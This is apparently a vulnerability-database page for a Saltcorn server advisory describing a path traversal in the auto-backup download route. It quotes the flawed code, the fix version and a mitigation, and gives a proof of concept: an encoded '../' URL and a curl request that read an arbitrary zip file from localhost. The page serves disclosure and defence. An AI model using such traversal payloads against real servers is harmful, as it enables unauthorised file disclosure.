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📦 npm

GHSA-277h-px4m-62q8

MEDIUM

@saltcorn/server arbitrary file zip read and download when downloading auto backups

Published
Oct 3, 2024
Updated
Oct 3, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

@saltcorn/servernpm
2Kdownloads / week

Description

Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.

Details

router.get(
  "/auto-backup-download/:filename",
  isAdmin,
  error_catcher(async (req, res) => {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
    ) {
      res.redirect("/admin/backup");
      return;
    }
    const auto_backup_directory = getState().getConfig("auto_backup_directory");
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);

Steps to reproduce (PoC)

  • create a file with .zip extension under /tmp folder:
echo "secret12345" > /tmp/secret.zip
  • log into the application as an admin user
  • visit the url http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip
  • download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345
  • Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
    -H $'Host: localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'

NOTE: To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Recommended Mitigation

Resolve the filename parameter before checking if it starts with backup_file_prefix .

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@saltcorn/serverall versions1.0.0-beta.14

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @saltcorn/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @saltcorn/server to 1.0.0-beta.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-277h-px4m-62q8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-277h-px4m-62q8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-277h-px4m-62q8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API. ### Details - file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682 ```js router.get( "/auto-backup-download/:filename", isAdmin, error_catcher(async (req, res) => { const { filename } = req.params; // [1] source [...] if ( !isRoot || !(filename.startsWith(backup_file_prefix) && filename.endsWit
O3 Security · Impact-Aware SCA

Is GHSA-277h-px4m-62q8 in your dependencies?

O3 detects GHSA-277h-px4m-62q8 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.